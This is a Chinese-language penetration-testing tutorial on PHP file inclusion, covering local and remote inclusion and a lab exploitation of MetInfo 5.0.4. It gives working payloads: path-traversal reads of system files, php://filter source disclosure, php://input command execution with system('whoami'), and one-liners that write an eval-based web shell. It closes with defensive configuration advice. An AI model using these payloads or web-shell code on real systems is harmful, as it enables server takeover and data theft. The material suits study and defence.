文章目录
- 渗透测试漏洞原理
- 文件包含漏洞
-
- [1. 文件包含概述](#1. 文件包含概述)
-
- [1.1 文件包含语句](#1.1 文件包含语句)
-
- [1.1.1 相关配置](#1.1.1 相关配置)
- [1.2 动态包含](#1.2 动态包含)
-
- [1.2.1 示例代码](#1.2.1 示例代码)
- [1.2.2 本地文件包含](#1.2.2 本地文件包含)
- [1.2.3 远程文件包含](#1.2.3 远程文件包含)
- [1.3 漏洞原理](#1.3 漏洞原理)
- [1.4 文件包含和文件读取的区别](#1.4 文件包含和文件读取的区别)
- [2. 文件包含攻防](#2. 文件包含攻防)
-
- [2.1 利用方法](#2.1 利用方法)
-
- [2.1.1 包含图片木马](#2.1.1 包含图片木马)
- [2.1.2 读取敏感文件](#2.1.2 读取敏感文件)
- [2.1.3 读取PHP文件源码](#2.1.3 读取PHP文件源码)
- [2.1.4 执行PHP命令](#2.1.4 执行PHP命令)
- [2.1.5 包含图片木马写Shell](#2.1.5 包含图片木马写Shell)
- [2.1.6 包含日志](#2.1.6 包含日志)
- [2.2 经典案例(metinfo_5.0.4_lfi)](#2.2 经典案例(metinfo_5.0.4_lfi))
-
- [2.2.1 漏洞页面](#2.2.1 漏洞页面)
- [2.2.2 漏洞利用](#2.2.2 漏洞利用)
- [2.2.3 文件包含](#2.2.3 文件包含)
- [2.2.4 文件上传](#2.2.4 文件上传)
- [2.3 文件包含防御](#2.3 文件包含防御)
- [3. 总结](#3. 总结)
渗透测试漏洞原理
文件包含漏洞
1. 文件包含概述
程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成"封装"。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。
几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。
1.1 文件包含语句
PHP 提供了四个文件包含的语句,四个语句之间略有不同。
语句 | 区别 |
---|---|
include() | 多次包含,多次执行; 如果包含失败,脚本产生警告,继续运行。 |
include_once() | 多次包含,一次执行; 如果包含失败,脚本产生警告,继续运行。 |
require() | 多次包含,多次执行; 如果包含失败,脚本产生错误,结束执行。 |
require_once() | 多次包含,一次执行; 如果包含失败,脚本产生错误,结束执行。 |
语句具体介绍:PHP: Hypertext Preprocessor。
基础代码
php
<?php
$fp = "../phpinfo.php";
include($fp);
?>
访问该文件后页面显示效果
1.1.1 相关配置
文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。
php
allow_url_fopen = On/Off # 通过远程方式打开文件
allow_url_include = On/Off # 通过远程方式包含文件
默认第二个选项是关闭的
为了后面的实验方便,修改其配置。
配置方式:找到php配置文件php.ini,修改一下参数为On。
1.2 动态包含
1.2.1 示例代码
php
// file-include.php
<?php
$fp = @$_GET['filepath'];
@include $fp;
//或者
include($fp);
?>
1.2.2 本地文件包含
本地文件包含(Local File Include,LFI)通过本地路径访问到的文件。
php
?filepath=../phpinfo.php
1.2.3 远程文件包含
远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件。
?filepath=http://192.168.188.183/phpinfo.php
1.3 漏洞原理
原理
PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。
特点
无视文件扩展名读取文件内容。
?filepath=./a.jpg
无条件解析PHP 代码,为图片木马提供了出路。
?filepath=a_yjh_info.jpg
实验:将phpinfo.php文件的后缀名修改为png图片格式,然后再次访问。
?filepath=../phpinfo.php.png
1.4 文件包含和文件读取的区别
-
文件读取执行的时候php源码没有执行
-
文件包含执行的时候php源码执行了
区别如下:
- 文件包含漏洞(File Inclusion Vulnerability):
- 定义:文件包含漏洞指的是在动态引用文件的过程中,未对用户输入进行充分验证或过滤,导致攻击者可以通过构造恶意的文件路径或参数来执行任意文件的包含,包括本地文件或远程文件。
- 影响:攻击者可以利用文件包含漏洞来执行任意代码,包括系统命令执行、代码注入、信息泄露等攻击行为。这可能导致服务器被入侵、数据泄露、拒绝服务等严重后果。
- 防范措施:应该始终对用户输入进行严格的验证和过滤,并且不信任用户提供的文件路径或参数。最好使用白名单机制来限制可包含的文件范围,避免直接使用用户输入作为文件路径或参数。
- 文件读取漏洞(File Disclosure Vulnerability):
- 定义:文件读取漏洞指的是在对文件进行读取的过程中,未对文件路径进行充分验证或限制,导致攻击者可以访问和读取不应公开的敏感文件,包括配置文件、源代码、数据库凭证等。
- 影响:攻击者可以获取敏感信息,如数据库凭证、服务器配置、应用程序代码等。这可能导致数据泄露、系统被入侵、身份盗窃等安全问题。
- 防范措施:应该对文件路径进行严格的验证和过滤,确保只允许访问必要的文件。尽量避免将敏感信息存储在可被公开访问的目录中,并采取适当的权限设置和访问控制策略,限制文件读取的范围。
综上所述,文件包含漏洞和文件读取漏洞都是安全漏洞,但主要区别在于文件包含漏洞是通过攻击者构造恶意的文件路径或参数来执行任意文件包含,而文件读取漏洞则是未对文件路径进行严格验证或限制,导致攻击者可以读取不应公开的敏感文件。
2. 文件包含攻防
2.1 利用方法
2.1.1 包含图片木马
蚁剑直接连接
http://192.168.188.183/MetInfo_5.0.4/about/index.php?fmodule=7&module=../upload/file/wuhu.jpg
2.1.2 读取敏感文件
利用文件包含漏洞,也可以读取敏感文件。前提条件:
- 目标文件存在(已知目标文件路径)。
- 具有文件可读权限。
具体方法:
# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts
php伪协议file
封装协议 | 说明 |
---|---|
file:// | 访问本地文件系统 |
http:// | 访问 HTTP(s) 网址 |
ftp:// | 访问 FTP(s) URLs |
php:// | 访问各个输入/输出流(I/O streams) |
zlib:// | 压缩流 |
data:// | 数据(RFC 2397) |
glob:// | 查找匹配的文件路径模式 |
phar:// | PHP 归档 |
ssh2:// | Secure Shell 2 |
rar:// | RAR |
ogg:// | 音频流 |
expect:// | 处理交互式的流 |
2.1.3 读取PHP文件源码
利用php://fileter 读取:
?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]
读取错误
PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==
2.1.4 执行PHP命令
利用条件
- 利用php://input 执行PHP 命令;
- 远程文件包含开启。
http
POST /file-include/include.php?filepath=php://input HTTP/1.1
Host: 192.168.188.183
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 18
<?php phpinfo();?>
或者
<?php system('whoami'); ?>
2.1.5 包含图片木马写Shell
条件:
- 确定文件包含漏洞存在
- 蚁剑不能直接连接
写shell
php
<?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?>
<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>
利用
http://192.168.188.183/file-include/shell.php
2.1.6 包含日志
Apache日志
- 访问日志
- 错误日志
Nginx日志
- 访问日志
- 错误日志
SSH日志
邮件日志
2.2 经典案例(metinfo_5.0.4_lfi)
网站页面
2.2.1 漏洞页面
产生文件包含的文件为/about/index.php
这里的$module值存在文件包含。
2.2.2 漏洞利用
/about/index.php?fmodule=7&module=[filePath]
漏洞分析
尝试输出$module。在源码中添加echo代码,查看页面显示效果。
输出结果如下:
查看module.php文件
搜索 f m o d u l e 变量,发现只有当 fmodule 变量,发现只有当 fmodule变量,发现只有当fmodule!=7 时,会对$module进行验证。
2.2.3 文件包含
提交参数【?fmodule=7&module=c://windows/system32/drivers/etc/hosts】,此时我们已经改变了$module的值,其值为hosts文件的绝对路径。
?fmodule=7&module=c://windows/system32/drivers/etc/hosts
读取成功
文件包含的危害之一就是文件读取。
如何证明该漏洞是文件包含漏洞,如果在执行命令后PHP代码执行了,那么就是文件包含漏洞。
如下页面显示成功而不是show.php源代码,php代码执行,说明是文件包含漏洞。
2.2.4 文件上传
登录网站
用户名:wuhu
密码:123456
寻找文件功能上传点
上传图片木马
提交成功
直接使用蚁剑进行连接
http://192.168.188.183/MetInfo_5.0.4/upload/file/wuhu.jpg
发现无法连接
使用文件包含
然后使用蚁剑进行连接
http://192.168.188.183/MetInfo_5.0.4/about/index.php?fmodule=7&module=../upload/file/wuhu.jpg
可以读取敏感文件
../../../../../../windows/system32/drivers/etc/hosts
读取PHP源码
http://192.168.188.183/MetInfo_5.0.4/about/index.php?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php
base64解码
执行PHP 命令
找到对应的数据包
转换为POST请求
转换为POST提交方式后,将fmodule值放在URL中进行提交
修改module的值为php://input
然后在后面添加php代码即可
<?php system('whoami'); ?>
2.3 文件包含防御
-
尽量少用动态包含
-
严格过滤被包含文件的路径
-
将参数allow_url_include 设置为Off
-
使用参数open_basedir 限定文件访问范围。
open_basedir = C:\software\phpstudy_pro\WWW
3. 总结
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过构造恶意请求,将恶意代码或者非授权文件包含到应用程序中执行。
- 漏洞描述: 文件包含漏洞指的是在应用程序的实现中,未正确过滤用户可控制的文件路径或文件名等输入,导致攻击者能够控制文件的加载行为。这使得攻击者可以通过恶意构造的请求,读取、执行或包含不受控制的文件,从而导致安全问题。
- 漏洞场景: 文件包含漏洞主要存在于以下情境中:
- 动态加载文件:当应用程序使用用户提供的文件路径或文件名来动态加载文件时,如果没有对输入进行充分过滤和验证,就容易受到文件包含漏洞的攻击。
- 文件包含函数:一些编程语言和框架提供了文件包含函数(如PHP的include、require等),如果不正确使用这些函数,也可能导致文件包含漏洞。
- 漏洞原理: 文件包含漏洞的原理是应用程序在处理用户可控制的输入时,未对输入进行充分的验证和过滤,攻击者通过构造恶意请求,将特定的字符串作为文件路径或文件名的一部分传递给应用程序。由于缺乏有效的输入验证,应用程序可能会把用户提供的恶意输入当作合法的文件路径,并加载或执行其中的内容。
- 漏洞危害: 文件包含漏洞可能导致以下危害:
- 读取敏感文件:攻击者可以通过构造恶意请求,读取系统中的敏感文件,例如配置文件、密码文件、数据库文件等,从而获取敏感信息。
- 执行恶意代码:攻击者可以利用文件包含漏洞,将恶意代码包含到应用程序中执行,从而控制服务器、窃取用户信息,或者进一步入侵系统。
- 提权攻击:如果应用程序在执行包含文件时使用了高权限,攻击者可以通过文件包含漏洞来提升自己的权限,访问系统中更敏感的资源。
- 漏洞验证: 验证文件包含漏洞的方法之一是尝试通过构造恶意请求来读取非授权文件。攻击者可以尝试使用特殊字符(如.../)来绕过文件路径的限制,或者尝试包含远程文件,并观察是否可以成功读取或执行文件。
- 利用方法: 攻击者可以通过以下方法利用文件包含漏洞:
- 本地文件包含(Local File Inclusion,LFI):攻击者构造恶意请求,指定特定文件路径,包含或读取服务器本地的文件。
- 远程文件包含(Remote File Inclusion,RFI):攻击者构造恶意请求,指定远程文件的URL,使应用程序将远程文件的内容加载到应用中执行。
- 漏洞防御: 为了防止文件包含漏洞,开发人员应采取以下防御措施:
- 输入验证和过滤:对用户输入进行充分验证和过滤,确保输入的文件路径或文件名是合法且预期的。
- 白名单策略:限制应用程序只能访问必要的文件,设计一个白名单来限制可包含的文件和路径,防止直接访问用户提供的路径。
- 安全配置:配置服务器和应用程序的安全设置,确保文件权限正确、仅允许访问必要的文件,并及时更新和修补已知的漏洞。
综上所述,文件包含漏洞可以导致攻击者读取、执行或包含不受控制的文件,进而对应用程序和系统造成严重风险。为了防止该漏洞,开发人员需要进行充分的输入验证和过滤,限制文件访问权限,并配置安全策略来防御此类攻击。